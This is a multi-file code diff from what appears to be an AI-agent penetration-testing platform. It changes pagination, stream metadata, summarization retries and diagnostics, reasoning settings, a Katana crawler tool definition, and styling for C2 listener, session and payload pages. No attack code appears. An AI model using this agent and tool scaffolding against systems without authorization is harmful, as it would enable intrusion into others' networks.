if limit <= 0 {
limit = 20
}
rows, err := db.Query(
`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
COALESCE(related_vulnerability_id,''), archived_at
FROM project_fact_versions WHERE fact_id = ? ORDER BY archived_at DESC LIMIT ?`,
factID, limit,
)
if err != nil {
return nil, err
}
defer rows.Close()
var out []*ProjectFactVersion
for rows.Next() {
v, err := scanProjectFactVersionFromRows(rows)
if err != nil {
return nil, err
}
out = append(out, v)
}
return out, rows.Err()
}
func projectFactContentChanged(existing, incoming *ProjectFact) bool {
if existing == nil || incoming == nil {
return false
}
mergedBody := mergeFactBodyOnUpdate(incoming.Body, existing.Body)
inCat := stringsTrimDefault(incoming.Category, existing.Category)
inConf := stringsTrimDefault(incoming.Confidence, existing.Confidence)
return existing.Summary != incoming.Summary ||
existing.Body != mergedBody ||
existing.Category != inCat ||
existing.Confidence != inConf
}
func stringsTrimDefault(s, fallback string) string {
if strings.TrimSpace(s) == "" {
return fallback
}
return strings.TrimSpace(s)
}
func scanProjectFactVersionRow(row *sql.Row) (*ProjectFactVersion, error) {
var v ProjectFactVersion
var pinned int
var archivedAt string
err := row.Scan(
&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
&v.SourceConversationID, &v.SourceMessageID, &pinned,
&v.RelatedVulnerabilityID, &archivedAt,
)
if err != nil {
if err == sql.ErrNoRows {
return nil, fmt.Errorf("事实版本不存在")
}
return nil, err
}
v.Pinned = pinned != 0
v.ArchivedAt = parseDBTime(archivedAt)
return &v, nil
}
func scanProjectFactVersionFromRows(rows *sql.Rows) (*ProjectFactVersion, error) {
var v ProjectFactVersion
var pinned int
var archivedAt string
err := rows.Scan(
&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
&v.SourceConversationID, &v.SourceMessageID, &pinned,
&v.RelatedVulnerabilityID, &archivedAt,
)
if err != nil {
return nil, err
}
v.Pinned = pinned != 0
v.ArchivedAt = parseDBTime(archivedAt)
return &v, nil
}
+1 -1
View File
@@ -37,7 +37,7 @@ func TestListProjectFacts_updatedAtJSON(t *testing.T) {
if err != nil { if err != nil {
t.Fatal(err) t.Fatal(err)
} }
projects, err := db.ListProjects("", 1, 0) projects, err := db.ListProjects("", "", 1, 0)
if err != nil || len(projects) == 0 { if err != nil || len(projects) == 0 {
t.Skip("no projects") t.Skip("no projects")
} }
+34 -1
View File
@@ -101,7 +101,40 @@ func sameResponseStreamMeta(a, b map[string]interface{}) bool {
} }
orchA, _ := a["orchestration"].(string) orchA, _ := a["orchestration"].(string)
orchB, _ := b["orchestration"].(string) orchB, _ := b["orchestration"].(string)
return strings.TrimSpace(orchA) == strings.TrimSpace(orchB) if strings.TrimSpace(orchA) != strings.TrimSpace(orchB) {
return false
}
iterA := responseStreamIterationFromMeta(a)
iterB := responseStreamIterationFromMeta(b)
if iterA != 0 && iterB != 0 && iterA != iterB {
return false
}
streamA, _ := a["streamId"].(string)
streamB, _ := b["streamId"].(string)
streamA = strings.TrimSpace(streamA)
streamB = strings.TrimSpace(streamB)
if streamA != "" && streamB != "" && streamA != streamB {
return false
}
return true
}
func responseStreamIterationFromMeta(m map[string]interface{}) int {
if m == nil {
return 0
}
switch v := m["iteration"].(type) {
case int:
return v
case int32:
return int(v)
case int64:
return int(v)
case float64:
return int(v)
default:
return 0
}
} }
func discardPlanningIfEchoesToolResult(respPlan *responsePlanAgg, toolData interface{}) { func discardPlanningIfEchoesToolResult(respPlan *responsePlanAgg, toolData interface{}) {
+30 -4
View File
@@ -96,18 +96,44 @@ func (h *ConversationHandler) ListConversations(c *gin.Context) {
limit, _ := strconv.Atoi(limitStr) limit, _ := strconv.Atoi(limitStr)
offset, _ := strconv.Atoi(offsetStr) offset, _ := strconv.Atoi(offsetStr)
if limit <= 0 || limit > 100 { if limit <= 0 {
limit = 50 limit = 50
} }
if limit > 1000 {
limit = 1000
}
conversations, err := h.db.ListConversations(limit, offset, search) excludeGrouped := strings.TrimSpace(search) == "" &&
(c.Query("exclude_grouped") == "true" || c.Query("exclude_grouped") == "1")
var conversations []*database.Conversation
var total int
var err error
if excludeGrouped {
conversations, err = h.db.ListUngroupedConversations(limit, offset)
if err == nil {
total, err = h.db.CountUngroupedConversations()
}
} else {
conversations, err = h.db.ListConversations(limit, offset, search)
if err == nil {
total, err = h.db.CountConversations(search)
}
}
if err != nil { if err != nil {
h.logger.Error("获取对话列表失败", zap.Error(err)) h.logger.Error("获取对话列表失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return return
} }
if conversations == nil {
c.JSON(http.StatusOK, conversations) conversations = []*database.Conversation{}
}
c.JSON(http.StatusOK, gin.H{
"conversations": conversations,
"total": total,
"limit": limit,
"offset": offset,
})
} }
// GetConversation 获取对话 // GetConversation 获取对话
+41 -41
View File
@@ -61,12 +61,40 @@ func (h *ProjectHandler) CreateProject(c *gin.Context) {
c.JSON(http.StatusOK, created) c.JSON(http.StatusOK, created)
} }
// GetDashboardSummary GET /api/projects/dashboard-summary
func (h *ProjectHandler) GetDashboardSummary(c *gin.Context) {
limit, _ := strconv.Atoi(strings.TrimSpace(c.DefaultQuery("fact_limit", "5")))
if limit <= 0 {
limit = 5
}
if limit > 50 {
limit = 50
}
summary, err := h.db.GetProjectDashboardSummary(limit)
if err != nil {
h.logger.Error("获取项目仪表盘摘要失败", zap.Error(err))
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if summary.RecentFacts == nil {
summary.RecentFacts = []database.ProjectDashboardFact{}
}
c.JSON(http.StatusOK, summary)
}
// ListProjects GET /api/projects // ListProjects GET /api/projects
func (h *ProjectHandler) ListProjects(c *gin.Context) { func (h *ProjectHandler) ListProjects(c *gin.Context) {
status := c.Query("status") status := c.Query("status")
limit, _ := strconv.Atoi(c.DefaultQuery("limit", "200")) search := c.Query("search")
limit, _ := strconv.Atoi(c.DefaultQuery("limit", "50"))
offset, _ := strconv.Atoi(c.Query("offset")) offset, _ := strconv.Atoi(c.Query("offset"))
list, err := h.db.ListProjects(status, limit, offset) if limit <= 0 {
limit = 50
}
if limit > 500 {
limit = 500
}
list, err := h.db.ListProjects(status, search, limit, offset)
if err != nil { if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return return
@@ -74,7 +102,17 @@ func (h *ProjectHandler) ListProjects(c *gin.Context) {
if list == nil { if list == nil {
list = []*database.Project{} list = []*database.Project{}
} }
c.JSON(http.StatusOK, list) total, err := h.db.CountProjects(status, search)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{
"projects": list,
"total": total,
"limit": limit,
"offset": offset,
})
} }
// GetProjectStats GET /api/projects/:id/stats // GetProjectStats GET /api/projects/:id/stats
@@ -240,44 +278,6 @@ func (h *ProjectHandler) ListFacts(c *gin.Context) {
c.JSON(http.StatusOK, list) c.JSON(http.StatusOK, list)
} }
// GetFactPreviousVersion GET /api/projects/:id/facts/:factId/previous-version
func (h *ProjectHandler) GetFactPreviousVersion(c *gin.Context) {
existing, err := h.db.GetProjectFact(c.Param("factId"))
if err != nil || existing.ProjectID != c.Param("id") {
c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
return
}
if strings.TrimSpace(existing.SupersedesFactID) == "" {
c.JSON(http.StatusNotFound, gin.H{"error": "无上一版本"})
return
}
v, err := h.db.GetProjectFactVersion(existing.SupersedesFactID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, v)
}
// ListFactVersions GET /api/projects/:id/facts/:factId/versions
func (h *ProjectHandler) ListFactVersions(c *gin.Context) {
existing, err := h.db.GetProjectFact(c.Param("factId"))
if err != nil || existing.ProjectID != c.Param("id") {
c.JSON(http.StatusNotFound, gin.H{"error": "事实不存在"})
return
}
limit, _ := strconv.Atoi(c.DefaultQuery("limit", "20"))
list, err := h.db.ListProjectFactVersions(existing.ID, limit)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
if list == nil {
list = []*database.ProjectFactVersion{}
}
c.JSON(http.StatusOK, list)
}
// CreateFact POST /api/projects/:id/facts // CreateFact POST /api/projects/:id/facts
func (h *ProjectHandler) CreateFact(c *gin.Context) { func (h *ProjectHandler) CreateFact(c *gin.Context) {
var req upsertFactRequest var req upsertFactRequest
+2 -2
View File
@@ -314,7 +314,7 @@ func (h *RobotHandler) resolveProjectByIDOrName(idOrName string) (*database.Proj
if p, err := h.db.GetProject(idOrName); err == nil { if p, err := h.db.GetProject(idOrName); err == nil {
return p, "" return p, ""
} }
list, err := h.db.ListProjects("", 200, 0) list, err := h.db.ListProjects("", "", 200, 0)
if err != nil { if err != nil {
return nil, "查询项目失败: " + err.Error() return nil, "查询项目失败: " + err.Error()
} }
@@ -353,7 +353,7 @@ func (h *RobotHandler) cmdProjects() string {
if !h.projectsEnabled() { if !h.projectsEnabled() {
return "项目功能未启用(config.project.enabled)。" return "项目功能未启用(config.project.enabled)。"
} }
list, err := h.db.ListProjects("", 50, 0) list, err := h.db.ListProjects("", "", 50, 0)
if err != nil { if err != nil {
return "获取项目列表失败: " + err.Error() return "获取项目列表失败: " + err.Error()
} }
+15
View File
@@ -176,6 +176,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
lastPlanExecuteExecutor = "" lastPlanExecuteExecutor = ""
var reasoningStreamSeq int64 var reasoningStreamSeq int64
var einoSubReplyStreamSeq int64 var einoSubReplyStreamSeq int64
var mainResponseStreamSeq int64
toolEmitSeen := make(map[string]struct{}) toolEmitSeen := make(map[string]struct{})
var einoMainRound int var einoMainRound int
var einoLastAgent string var einoLastAgent string
@@ -632,6 +633,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
mv := ev.Output.MessageOutput mv := ev.Output.MessageOutput
if mv.IsStreaming && mv.MessageStream != nil { if mv.IsStreaming && mv.MessageStream != nil {
mainStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
streamHeaderSent := false streamHeaderSent := false
var reasoningStreamID string var reasoningStreamID string
var toolStreamFragments []schema.ToolCall var toolStreamFragments []schema.ToolCall
@@ -738,6 +740,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
"einoRole": "orchestrator", "einoRole": "orchestrator",
"einoAgent": ev.AgentName, "einoAgent": ev.AgentName,
"orchestration": orchMode, "orchestration": orchMode,
"iteration": einoMainRound,
"streamId": mainStreamID,
}) })
streamHeaderSent = true streamHeaderSent = true
} }
@@ -747,6 +751,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
"einoRole": "orchestrator", "einoRole": "orchestrator",
"einoAgent": ev.AgentName, "einoAgent": ev.AgentName,
"orchestration": orchMode, "orchestration": orchMode,
"iteration": einoMainRound,
"streamId": mainStreamID,
}, mainAssistantBuf)) }, mainAssistantBuf))
mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, contentDelta) mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, contentDelta)
} }
@@ -806,6 +812,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
"einoRole": "orchestrator", "einoRole": "orchestrator",
"einoAgent": ev.AgentName, "einoAgent": ev.AgentName,
"orchestration": orchMode, "orchestration": orchMode,
"iteration": einoMainRound,
"streamId": mainStreamID,
}) })
} }
progress("response_delta", eofTail, openai.WithSSEAccumulated(map[string]interface{}{ progress("response_delta", eofTail, openai.WithSSEAccumulated(map[string]interface{}{
@@ -814,6 +822,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
"einoRole": "orchestrator", "einoRole": "orchestrator",
"einoAgent": ev.AgentName, "einoAgent": ev.AgentName,
"orchestration": orchMode, "orchestration": orchMode,
"iteration": einoMainRound,
"streamId": mainStreamID,
}, mainAssistantBuf)) }, mainAssistantBuf))
mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, eofTail) mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, eofTail)
} }
@@ -916,6 +926,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
} }
executeStdoutDupMu.Unlock() executeStdoutDupMu.Unlock()
if progress != nil { if progress != nil {
nonStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
progress("response_start", "", map[string]interface{}{ progress("response_start", "", map[string]interface{}{
"conversationId": conversationID, "conversationId": conversationID,
"mcpExecutionIds": snapshotMCPIDs(), "mcpExecutionIds": snapshotMCPIDs(),
@@ -923,6 +934,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
"einoRole": "orchestrator", "einoRole": "orchestrator",
"einoAgent": ev.AgentName, "einoAgent": ev.AgentName,
"orchestration": orchMode, "orchestration": orchMode,
"iteration": einoMainRound,
"streamId": nonStreamID,
}) })
progress("response_delta", body, openai.WithSSEAccumulated(map[string]interface{}{ progress("response_delta", body, openai.WithSSEAccumulated(map[string]interface{}{
"conversationId": conversationID, "conversationId": conversationID,
@@ -930,6 +943,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
"einoRole": "orchestrator", "einoRole": "orchestrator",
"einoAgent": ev.AgentName, "einoAgent": ev.AgentName,
"orchestration": orchMode, "orchestration": orchMode,
"iteration": einoMainRound,
"streamId": nonStreamID,
}, body)) }, body))
} }
lastAssistant = body lastAssistant = body
@@ -117,6 +117,7 @@ func RunEinoSingleChatModelAgent(
}, },
} }
httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient) httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
openai.AttachSummarizationDiagTransport(httpClient, logger)
baseModelCfg := &einoopenai.ChatModelConfig{ baseModelCfg := &einoopenai.ChatModelConfig{
APIKey: appCfg.OpenAI.APIKey, APIKey: appCfg.OpenAI.APIKey,
+40
View File
@@ -9,15 +9,19 @@ import (
"cyberstrike-ai/internal/agent" "cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/config" "cyberstrike-ai/internal/config"
copenai "cyberstrike-ai/internal/openai"
"github.com/bytedance/sonic" "github.com/bytedance/sonic"
"github.com/cloudwego/eino/adk" "github.com/cloudwego/eino/adk"
"github.com/cloudwego/eino/adk/middlewares/summarization" "github.com/cloudwego/eino/adk/middlewares/summarization"
"github.com/cloudwego/eino/components/model" "github.com/cloudwego/eino/components/model"
"github.com/cloudwego/eino/schema" "github.com/cloudwego/eino/schema"
einoopenai "github.com/cloudwego/eino-ext/components/model/openai"
"go.uber.org/zap" "go.uber.org/zap"
) )
const defaultSummarizationRetryMax = 3
// einoSummarizeUserInstruction:压缩历史时保留渗透测试关键信息。 // einoSummarizeUserInstruction:压缩历史时保留渗透测试关键信息。
const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完整的前提下压缩对话历史 const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完整的前提下压缩对话历史
@@ -89,8 +93,32 @@ func newEinoSummarizationMiddleware(
} }
} }
retryMax := defaultSummarizationRetryMax
if mwCfg != nil && mwCfg.SummarizationRetryMaxAttempts > 0 {
retryMax = mwCfg.SummarizationRetryMaxAttempts
}
// ModelOptions apply only to summarization Generate (same ChatModel instance as the agent).
// Strip thinking/reasoning on this call path; mark requests for empty-choices diagnostics.
summaryModelOpts := []model.Option{
einoopenai.WithExtraHeader(map[string]string{
copenai.SummarizationRequestHeader: "1",
}),
einoopenai.WithRequestPayloadModifier(func(_ context.Context, in []*schema.Message, rawBody []byte) ([]byte, error) {
if logger != nil {
logger.Info("eino summarization generate request",
zap.Int("input_messages", len(in)),
zap.Int("payload_bytes", len(rawBody)),
zap.String("model", modelName),
)
}
return stripReasoningFromSummarizationPayload(rawBody)
}),
}
mw, err := summarization.New(ctx, &summarization.Config{ mw, err := summarization.New(ctx, &summarization.Config{
Model: summaryModel, Model: summaryModel,
ModelOptions: summaryModelOpts,
Trigger: &summarization.TriggerCondition{ Trigger: &summarization.TriggerCondition{
ContextTokens: trigger, ContextTokens: trigger,
}, },
@@ -102,6 +130,18 @@ func newEinoSummarizationMiddleware(
Enabled: true, Enabled: true,
MaxTokens: preserveMax, MaxTokens: preserveMax,
}, },
Retry: &summarization.RetryConfig{
MaxRetries: &retryMax,
ShouldRetry: func(_ context.Context, _ adk.Message, err error) bool {
if err != nil && logger != nil {
logger.Warn("eino summarization generate attempt failed, will retry if attempts remain",
zap.Error(err),
zap.Int("max_retries", retryMax),
)
}
return err != nil
},
},
Finalize: func(ctx context.Context, originalMessages []adk.Message, summary adk.Message) ([]adk.Message, error) { Finalize: func(ctx context.Context, originalMessages []adk.Message, summary adk.Message) ([]adk.Message, error) {
return summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax) return summarizeFinalizeWithRecentAssistantToolTrail(ctx, originalMessages, summary, tokenCounter, recentTrailMax)
}, },
@@ -0,0 +1,35 @@
package multiagent
import (
"github.com/bytedance/sonic"
)
// stripReasoningFromSummarizationPayload removes thinking / reasoning fields from a
// chat-completions JSON body. Applied only to summarization Generate calls via
// model.ModelOptions on the shared ChatModel — main-agent requests are unchanged.
func stripReasoningFromSummarizationPayload(rawBody []byte) ([]byte, error) {
var payload map[string]any
if err := sonic.Unmarshal(rawBody, &payload); err != nil {
return rawBody, nil
}
changed := false
for _, key := range []string{
"thinking",
"reasoning_effort",
"output_config",
"reasoning",
} {
if _, ok := payload[key]; ok {
delete(payload, key)
changed = true
}
}
if !changed {
return rawBody, nil
}
out, err := sonic.Marshal(payload)
if err != nil {
return rawBody, err
}
return out, nil
}
@@ -0,0 +1,30 @@
package multiagent
import (
"strings"
"testing"
)
func TestStripReasoningFromSummarizationPayload(t *testing.T) {
in := []byte(`{"model":"deepseek-chat","messages":[],"thinking":{"type":"enabled"},"reasoning_effort":"high"}`)
out, err := stripReasoningFromSummarizationPayload(in)
if err != nil {
t.Fatal(err)
}
s := string(out)
if strings.Contains(s, "thinking") || strings.Contains(s, "reasoning_effort") {
t.Fatalf("expected reasoning fields stripped, got %s", s)
}
if !strings.Contains(s, `"model":"deepseek-chat"`) {
t.Fatalf("expected model preserved, got %s", s)
}
plain := []byte(`{"model":"gpt-4o","messages":[]}`)
out2, err := stripReasoningFromSummarizationPayload(plain)
if err != nil {
t.Fatal(err)
}
if string(out2) != string(plain) {
t.Fatalf("expected unchanged payload, got %s", out2)
}
}
+1
View File
@@ -161,6 +161,7 @@ func RunDeepAgent(
// 若配置为 Claude provider,注入自动桥接 transport,对 Eino 透明走 Anthropic Messages API // 若配置为 Claude provider,注入自动桥接 transport,对 Eino 透明走 Anthropic Messages API
httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient) httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
openai.AttachSummarizationDiagTransport(httpClient, logger)
baseModelCfg := &einoopenai.ChatModelConfig{ baseModelCfg := &einoopenai.ChatModelConfig{
APIKey: appCfg.OpenAI.APIKey, APIKey: appCfg.OpenAI.APIKey,
+88
View File
@@ -0,0 +1,88 @@
package openai
import (
"bytes"
"io"
"net/http"
"strings"
"github.com/bytedance/sonic"
"go.uber.org/zap"
)
// SummarizationRequestHeader marks chat/completion requests issued by Eino summarization
// middleware (via model.WithExtraHeader). The diagnostic transport logs empty-choices bodies
// only for these requests so main-agent traffic stays quiet.
const SummarizationRequestHeader = "X-CyberStrike-Summarization"
const summarizationDiagBodyMaxBytes = 8192
// AttachSummarizationDiagTransport wraps client.Transport to log raw API bodies when
// summarization receives HTTP 200 with an empty choices array.
func AttachSummarizationDiagTransport(client *http.Client, logger *zap.Logger) {
if client == nil || logger == nil {
return
}
base := client.Transport
if base == nil {
base = http.DefaultTransport
}
client.Transport = &summarizationDiagRoundTripper{base: base, logger: logger}
}
type summarizationDiagRoundTripper struct {
base http.RoundTripper
logger *zap.Logger
}
func (rt *summarizationDiagRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
resp, err := rt.base.RoundTrip(req)
if err != nil || resp == nil || resp.Body == nil {
return resp, err
}
if !isSummarizationRequest(req) || !strings.Contains(strings.ToLower(resp.Header.Get("Content-Type")), "json") {
return resp, err
}
body, readErr := io.ReadAll(resp.Body)
_ = resp.Body.Close()
if readErr != nil {
resp.Body = io.NopCloser(bytes.NewReader(nil))
return resp, err
}
resp.Body = io.NopCloser(bytes.NewReader(body))
resp.ContentLength = int64(len(body))
if rt.logger != nil && summarizationResponseEmptyChoices(body) {
rt.logger.Warn("eino summarization: API returned empty choices",
zap.Int("status", resp.StatusCode),
zap.Int("response_bytes", len(body)),
zap.String("raw_body", truncateForLog(string(body), summarizationDiagBodyMaxBytes)),
)
}
return resp, err
}
func isSummarizationRequest(req *http.Request) bool {
if req == nil {
return false
}
return strings.TrimSpace(req.Header.Get(SummarizationRequestHeader)) == "1"
}
func summarizationResponseEmptyChoices(body []byte) bool {
var parsed struct {
Choices []any `json:"choices"`
}
if err := sonic.Unmarshal(body, &parsed); err != nil {
return false
}
return len(parsed.Choices) == 0
}
func truncateForLog(s string, maxBytes int) string {
if maxBytes <= 0 || len(s) <= maxBytes {
return s
}
return s[:maxBytes] + "…(truncated)"
}
@@ -0,0 +1,47 @@
package openai
import (
"io"
"net/http"
"strings"
"testing"
"go.uber.org/zap"
)
type staticRoundTripper struct {
status int
body string
}
func (s *staticRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
return &http.Response{
StatusCode: s.status,
Header: http.Header{"Content-Type": []string{"application/json"}},
Body: io.NopCloser(strings.NewReader(s.body)),
}, nil
}
func TestSummarizationResponseEmptyChoices(t *testing.T) {
if !summarizationResponseEmptyChoices([]byte(`{"choices":[]}`)) {
t.Fatal("expected empty choices")
}
if summarizationResponseEmptyChoices([]byte(`{"choices":[{"index":0}]}`)) {
t.Fatal("expected non-empty choices")
}
}
func TestSummarizationDiagRoundTripper_SkipsWithoutHeader(t *testing.T) {
client := &http.Client{
Transport: &summarizationDiagRoundTripper{
base: &staticRoundTripper{status: 200, body: `{"choices":[]}`},
logger: zap.NewNop(),
},
}
req, _ := http.NewRequest(http.MethodPost, "https://example.com/v1/chat/completions", nil)
resp, err := client.Do(req)
if err != nil {
t.Fatal(err)
}
_ = resp.Body.Close()
}
+14 -3
View File
@@ -56,6 +56,7 @@ func ApplyToEinoChatModelConfig(cfg *einoopenai.ChatModelConfig, oa *config.Open
} }
if mode == "off" { if mode == "off" {
applyThinkingDisabled(cfg)
return return
} }
effort := effectiveEffort(sr, client, allowClient) effort := effectiveEffort(sr, client, allowClient)
@@ -185,11 +186,21 @@ func resolveWireProfile(oa *config.OpenAIConfig, sr *config.OpenAIReasoningConfi
} }
} }
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) { func applyThinkingDisabled(cfg *einoopenai.ChatModelConfig) {
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking. if cfg == nil {
if mode == "off" {
return return
} }
if cfg.ExtraFields == nil {
cfg.ExtraFields = make(map[string]any)
}
if _, exists := cfg.ExtraFields["thinking"]; exists {
return
}
cfg.ExtraFields["thinking"] = map[string]any{"type": "disabled"}
}
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
if mode == "auto" || mode == "on" { if mode == "auto" || mode == "on" {
if cfg.ExtraFields == nil { if cfg.ExtraFields == nil {
cfg.ExtraFields = make(map[string]any) cfg.ExtraFields = make(map[string]any)
+16
View File
@@ -49,6 +49,22 @@ func TestApplyOpenAICompat_xhighExtraField(t *testing.T) {
} }
} }
func TestApplyReasoningOff_disablesThinking(t *testing.T) {
cfg := &einoopenai.ChatModelConfig{}
oa := &config.OpenAIConfig{
BaseURL: "https://api.openai.com/v1",
Model: "gpt-4o",
Reasoning: config.OpenAIReasoningConfig{
Mode: "off",
},
}
ApplyToEinoChatModelConfig(cfg, oa, nil)
th, ok := cfg.ExtraFields["thinking"].(map[string]any)
if !ok || th["type"] != "disabled" {
t.Fatalf("expected thinking disabled, got %#v", cfg.ExtraFields)
}
}
func TestApplyOpenAICompat_maxPassthrough(t *testing.T) { func TestApplyOpenAICompat_maxPassthrough(t *testing.T) {
cfg := &einoopenai.ChatModelConfig{} cfg := &einoopenai.ChatModelConfig{}
oa := &config.OpenAIConfig{ oa := &config.OpenAIConfig{
+6 -6
View File
@@ -39,9 +39,9 @@ parameters:
default: true default: true
- name: "form_extraction" - name: "form_extraction"
type: "bool" type: "bool"
description: "启用表单提取" description: "启用表单提取-fx / -form-extraction"
required: false required: false
flag: "-forms" flag: "-fx"
format: "flag" format: "flag"
default: true default: true
- name: "additional_args" - name: "additional_args"
@@ -50,10 +50,10 @@ parameters:
额外的Katana参数。用于传递未在参数列表中定义的Katana选项。 额外的Katana参数。用于传递未在参数列表中定义的Katana选项。
**示例值:** **示例值:**
- "--headless": 使用无头浏览器 - "-headless": 使用无头浏览器
- "-f": 输出格式 - "-output-template '{{url}}'": 自定义输出格式
- "-o output.txt": 输出到文件 - "-output output.txt": 输出到文件
- "-c": 并发数 - "-c 20": 并发数
**注意事项:** **注意事项:**
- 多个参数用空格分隔 - 多个参数用空格分隔
+223 -135
View File
@@ -37,7 +37,6 @@
Form Controls (scoped to C2 pages) Form Controls (scoped to C2 pages)
============================================================================ */ ============================================================================ */
#page-c2 .form-control,
#page-c2-listeners .form-control, #page-c2-listeners .form-control,
#page-c2-sessions .form-control, #page-c2-sessions .form-control,
#page-c2-tasks .form-control, #page-c2-tasks .form-control,
@@ -61,7 +60,6 @@
appearance: none; appearance: none;
} }
#page-c2 .form-control:focus,
#page-c2-listeners .form-control:focus, #page-c2-listeners .form-control:focus,
#page-c2-sessions .form-control:focus, #page-c2-sessions .form-control:focus,
#page-c2-tasks .form-control:focus, #page-c2-tasks .form-control:focus,
@@ -73,7 +71,6 @@
box-shadow: 0 0 0 3px var(--c2-accent-dim); box-shadow: 0 0 0 3px var(--c2-accent-dim);
} }
#page-c2 select.form-control,
#page-c2-payloads select.form-control, #page-c2-payloads select.form-control,
.c2-modal select.form-control { .c2-modal select.form-control {
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%2364748b' d='M2.5 4.5L6 8l3.5-3.5'/%3E%3C/svg%3E"); background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%2364748b' d='M2.5 4.5L6 8l3.5-3.5'/%3E%3C/svg%3E");
@@ -85,7 +82,6 @@
} }
/* 原生下拉:避免 appearance:none 在部分浏览器中导致 select 无法正常展开 */ /* 原生下拉:避免 appearance:none 在部分浏览器中导致 select 无法正常展开 */
#page-c2 select.form-control.c2-native-select,
#page-c2-payloads select.form-control.c2-native-select, #page-c2-payloads select.form-control.c2-native-select,
.c2-modal select.form-control.c2-native-select { .c2-modal select.form-control.c2-native-select {
appearance: auto; appearance: auto;
@@ -94,7 +90,6 @@
padding-right: 14px; padding-right: 14px;
} }
#page-c2 textarea.form-control,
#page-c2-payloads textarea.form-control, #page-c2-payloads textarea.form-control,
.c2-modal textarea.form-control { .c2-modal textarea.form-control {
resize: vertical; resize: vertical;
@@ -104,7 +99,6 @@
line-height: 1.6; line-height: 1.6;
} }
#page-c2 .form-control::placeholder,
#page-c2-payloads .form-control::placeholder, #page-c2-payloads .form-control::placeholder,
.c2-modal .form-control::placeholder { .c2-modal .form-control::placeholder {
color: var(--c2-text-muted); color: var(--c2-text-muted);
@@ -140,9 +134,6 @@
Layout Layout
============================================================================ */ ============================================================================ */
.c2-layout { display: flex; flex-direction: column; height: 100%; }
.c2-main { flex: 1; overflow-y: auto; }
.c2-empty { .c2-empty {
display: flex; display: flex;
flex-direction: column; flex-direction: column;
@@ -171,103 +162,6 @@
margin: 12px; margin: 12px;
} }
/* ============================================================================
Dashboard / Welcome
============================================================================ */
.c2-welcome {
text-align: center;
padding: 100px 24px 80px;
max-width: 860px;
margin: 0 auto;
}
.c2-welcome-icon {
margin-bottom: 16px;
animation: c2-float 4s ease-in-out infinite;
}
@keyframes c2-float {
0%, 100% { transform: translateY(0); }
50% { transform: translateY(-8px); }
}
.c2-welcome h3 {
font-size: 28px;
margin-bottom: 12px;
color: var(--c2-text);
font-weight: 800;
letter-spacing: -0.5px;
}
.c2-welcome p {
color: var(--c2-text-dim);
font-size: 15px;
line-height: 1.7;
margin-bottom: 48px;
max-width: 520px;
margin-left: auto;
margin-right: auto;
}
.c2-stats {
display: flex;
justify-content: center;
gap: 16px;
margin-bottom: 48px;
flex-wrap: wrap;
}
.c2-stat-item {
display: flex;
flex-direction: column;
align-items: center;
padding: 28px 40px;
background: var(--c2-surface);
border-radius: var(--c2-radius);
border: 1.5px solid var(--c2-border);
min-width: 160px;
transition: all 0.3s ease;
}
.c2-stat-item:hover {
transform: translateY(-4px);
box-shadow: var(--c2-shadow-md);
border-color: var(--c2-accent);
}
